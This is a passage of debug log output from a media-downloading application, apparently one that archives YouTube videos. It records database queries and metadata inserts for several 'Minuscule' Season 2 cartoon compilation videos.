Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mission : BBQ | S02E09\r\n00:03:45 | The Chocolate Chase! | S02E19\r\n00:07:31 | Acrobatics | S02E16\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#BBQ #garden #insects #wasps #chocolate #centipede #bees #Minuscule #nature #ladybugs #animatedseries", "Mission : BBQ | Minuscule 🍃 15' Compilation", "858b4ef4-a0b1-47b9-8e6f-ec82692b61f0", "HwAj0Zc2N1w", 715, false, 5, "https://www.youtube.com/watch?v=HwAj0Zc2N1w", 78, "/downloads/Miniscule Season 2/2025-02-20 Mission : BBQ | Minuscule 🍃 15' Compilation/Mission : BBQ | Minuscule 🍃 15' Compilation [HwAj0Zc2N1w].mp4", false, false, false, [], 1, ~U[2025-02-20 11:01:19Z], ~U[2025-12-12 05:12:07Z], ~U[2025-12-12 05:12:07Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mission : BBQ | S02E09\r\n00:03:45 | The Chocolate Chase! | S02E19\r\n00:07:31 | Acrobatics | S02E16\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#BBQ #garden #insects #wasps #chocolate #centipede #bees #Minuscule #nature #ladybugs #animatedseries", "Mission : BBQ | Minuscule 🍃 15' Compilation", "HwAj0Zc2N1w", 715, false, 5, "https://www.youtube.com/watch?v=HwAj0Zc2N1w", "/downloads/Miniscule Season 2/2025-02-20 Mission : BBQ | Minuscule 🍃 15' Compilation/Mission : BBQ | Minuscule 🍃 15' Compilation [HwAj0Zc2N1w].mp4", false, ~U[2025-02-20 11:01:19Z]] 22:12:07.217 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=47.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:07.217 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:12:07.218 [debug] QUERY OK source="media_items" db=0.4ms idle=6.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89056] 22:12:07.218 [debug] Current batch of media processed. Will check again in 1000ms 22:12:08.220 [debug] Current batch of media processed. Will check again in 1000ms 22:12:09.221 [debug] Current batch of media processed. Will check again in 1000ms 22:12:10.222 [debug] Current batch of media processed. Will check again in 1000ms 22:12:11.223 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Fly Hunting | S02E24\r\n00:03:33 | Zzz In The Metro | S02E53\r\n00:07:01 | Umbrella And Coconut Trees | S02E71\r\n00:10:27 | Turbo speed | S02E58\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#fly #hunting #ladybug #pursuit #flies #chase #metro #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 900, "filename" => "/downloads/Miniscule Season 2/2025-02-15 Fly Hunting 🐞 Minuscule 🍃 20' Compilation/Fly Hunting 🐞 Minuscule 🍃 20' Compilation [K543vJYczNU].mp4", "id" => "K543vJYczNU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=K543vJYczNU", "playlist_index" => 79, "timestamp" => 1739646046, "title" => "Fly Hunting 🐞 Minuscule 🍃 20' Compilation", "upload_date" => "20250215"} 22:12:11.224 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=52.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:12:11.225 [debug] QUERY OK source="sources" db=0.3ms idle=53.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:11.227 [debug] QUERY OK source="media_items" db=1.1ms idle=54.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-15 19:00:46Z], 5] 22:12:11.241 [debug] QUERY OK source="media_items" db=13.7ms idle=56.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Fly Hunting | S02E24\r\n00:03:33 | Zzz In The Metro | S02E53\r\n00:07:01 | Umbrella And Coconut Trees | S02E71\r\n00:10:27 | Turbo speed | S02E58\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#fly #hunting #ladybug #pursuit #flies #chase #metro #Minuscule #nature #insects #ladybugs #animatedseries", "Fly Hunting 🐞 Minuscule 🍃 20' Compilation", "41b1efcb-67a6-4c5b-b943-a2448a1589be", "K543vJYczNU", 900, false, 5, "https://www.youtube.com/watch?v=K543vJYczNU", 79, "/downloads/Miniscule Season 2/2025-02-15 Fly Hunting 🐞 Minuscule 🍃 20' Compilation/Fly Hunting 🐞 Minuscule 🍃 20' Compilation [K543vJYczNU].mp4", false, false, false, [], 1, ~U[2025-02-15 19:00:46Z], ~U[2025-12-12 05:12:11Z], ~U[2025-12-12 05:12:11Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Fly Hunting | S02E24\r\n00:03:33 | Zzz In The Metro | S02E53\r\n00:07:01 | Umbrella And Coconut Trees | S02E71\r\n00:10:27 | Turbo speed | S02E58\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#fly #hunting #ladybug #pursuit #flies #chase #metro #Minuscule #nature #insects #ladybugs #animatedseries", "Fly Hunting 🐞 Minuscule 🍃 20' Compilation", "K543vJYczNU", 900, false, 5, "https://www.youtube.com/watch?v=K543vJYczNU", "/downloads/Miniscule Season 2/2025-02-15 Fly Hunting 🐞 Minuscule 🍃 20' Compilation/Fly Hunting 🐞 Minuscule 🍃 20' Compilation [K543vJYczNU].mp4", false, ~U[2025-02-15 19:00:46Z]] 22:12:11.242 [debug] QUERY OK source="sources" db=0.5ms idle=65.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:11.243 [debug] QUERY OK source="media_profiles" db=0.3ms idle=18.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:12:11.244 [debug] QUERY OK source="media_items" db=0.6ms idle=18.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89058] 22:12:11.244 [debug] Current batch of media processed. Will check again in 1000ms 22:12:12.245 [debug] Current batch of media processed. Will check again in 1000ms 22:12:13.246 [debug] Current batch of media processed. Will check again in 1000ms 22:12:14.247 [debug] Current batch of media processed. Will check again in 1000ms 22:12:15.248 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Grocery Store Racketeer | S02E50\r\n00:03:27 | Ladybugland | S02E62\r\n00:06:47 | The Grocery Store Incident | S02E39\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Grocery #Spider #Bullying #Revenge #ladybug #spider #toys #danger #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 657, "filename" => "/downloads/Miniscule Season 2/2025-02-11 The Grocery Store Racketeer 🕷️ Minuscule 🍃 15' Compilation/The Grocery Store Racketeer 🕷️ Minuscule 🍃 15' Compilation [N-GZ_mZLq40].mp4", "id" => "N-GZ_mZLq40", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=N-GZ_mZLq40", "playlist_index" => 80, "timestamp" => 1739271686, "title" => "The Grocery Store Racketeer 🕷️ Minuscule 🍃 15' Compilation", "upload_date" => "20250211"} 22:12:15.249 [debug] QUERY OK source="sources" db=0.4ms idle=77.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:12:15.250 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=78.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:15.251 [debug] QUERY OK source="media_items" db=1.1ms idle=79.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-11 11:01:26Z], 5] 22:12:15.256 [debug] QUERY OK source="media_items" db=3.7ms idle=81.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Grocery Store Racketeer | S02E50\r\n00:03:27 | Ladybugland | S02E62\r\n00:06:47 | The Grocery Store Incident | S02E39\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Grocery #Spider #Bullying #Revenge #ladybug #spider #toys #danger #Minuscule #nature #insects #ladybugs #animatedseries", "The Grocery Store Racketeer 🕷️ Minuscule 🍃 15' Compilation", "7e83b27b-01d9-4704-b1f5-2b4dcdbdb591", "N-GZ_mZLq40", 657, false, 5, "https://www.youtube.com/watch?v=N-GZ_mZLq40", 80, "/downloads/Miniscule Season 2/2025-02-11 The Grocery Store Racketeer 🕷️ Minuscule 🍃 15' Compilation/The Grocery Store Racketeer 🕷️ Minuscule 🍃 15' Compilation [N-GZ_mZLq40].mp4", false, false, false, [], 1, ~U[2025-02-11 11:01:26Z], ~U[2025-12-12 05:12:15Z], ~U[2025-12-12 05:12:15Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Grocery Store Racketeer | S02E50\r\n00:03:27 | Ladybugland | S02E62\r\n00:06:47 | The Grocery Store Incident | S02E39\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Grocery #Spider #Bullying #Revenge #ladybug #spider #toys #danger #Minuscule #nature #insects #ladybugs #animatedseries", "The Grocery Store Racketeer 🕷️ Minuscule 🍃 15' Compilation", "N-GZ_mZLq40", 657, false, 5, "https://www.youtube.com/watch?v=N-GZ_mZLq40", "/downloads/Miniscule Season 2/2025-02-11 The Grocery Store Racketeer 🕷️ Minuscule 🍃 15' Compilation/The Grocery Store Racketeer 🕷️ Minuscule 🍃 15' Compilation [N-GZ_mZLq40].mp4", false, ~U[2025-02-11 11:01:26Z]] 22:12:15.257 [debug] QUERY OK source="sources" db=0.4ms idle=72.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:15.258 [debug] QUERY OK source="media_profiles" db=0.4ms idle=8.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:12:15.259 [debug] QUERY OK source="media_items" db=0.5ms idle=8.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89060] 22:12:15.259 [debug] Current batch of media processed. Will check again in 1000ms 22:12:16.260 [debug] Current batch of media processed. Will check again in 1000ms 22:12:17.261 [debug] Current batch of media processed. Will check again in 1000ms 22:12:18.262 [debug] Current batch of media processed. Will check again in 1000ms 22:12:18.837 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:19.263 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Spider Driver | S02E36\n00:04:12 | The Stubborn Spider | S02E04\n00:07:57 | A Pathetic She'Nut'Igan | S02E12\n00:11:43 | Spider from the Depths | S02E31\n00:15:18 | High voltage | S02E30\n00:18:52 | Microzilla | S02E07\n00:22:38 | Refrigerated | S02E65\n00:26:04 | Labyrinth | S02E69\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#spider #flies #ladybug #car #stubborn #determination #house #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1802, "filename" => "/downloads/Miniscule Season 2/2025-01-22 Spider Driver 🕷️ Minuscule 🚗 30' Compilation/Spider Driver 🕷️ Minuscule 🚗 30' Compilation [Q5_qB6zaOk4].mp4", "id" => "Q5_qB6zaOk4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Q5_qB6zaOk4", "playlist_index" => 81, "timestamp" => 1737545429, "title" => "Spider Driver 🕷️ Minuscule 🚗 30' Compilation", "upload_date" => "20250122"} 22:12:19.264 [debug] QUERY OK source="sources" db=0.5ms idle=426.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:12:19.265 [debug] QUERY OK source="sources" db=0.4ms idle=93.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:19.266 [debug] QUERY OK source="media_items" db=1.0ms idle=94.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-22 11:30:29Z], 5] 22:12:20.643 [debug] QUERY OK source="media_items" db=1375.3ms idle=96.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Spider Driver | S02E36\n00:04:12 | The Stubborn Spider | S02E04\n00:07:57 | A Pathetic She'Nut'Igan | S02E12\n00:11:43 | Spider from the Depths | S02E31\n00:15:18 | High voltage | S02E30\n00:18:52 | Microzilla | S02E07\n00:22:38 | Refrigerated | S02E65\n00:26:04 | Labyrinth | S02E69\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#spider #flies #ladybug #car #stubborn #determination #house #Minuscule #nature #insects #ladybugs #animatedseries", "Spider Driver 🕷️ Minuscule 🚗 30' Compilation", "21cbaf52-ef9f-4be6-89c6-8f6418b5bf98", "Q5_qB6zaOk4", 1802, false, 5, "https://www.youtube.com/watch?v=Q5_qB6zaOk4", 81, "/downloads/Miniscule Season 2/2025-01-22 Spider Driver 🕷️ Minuscule 🚗 30' Compilation/Spider Driver 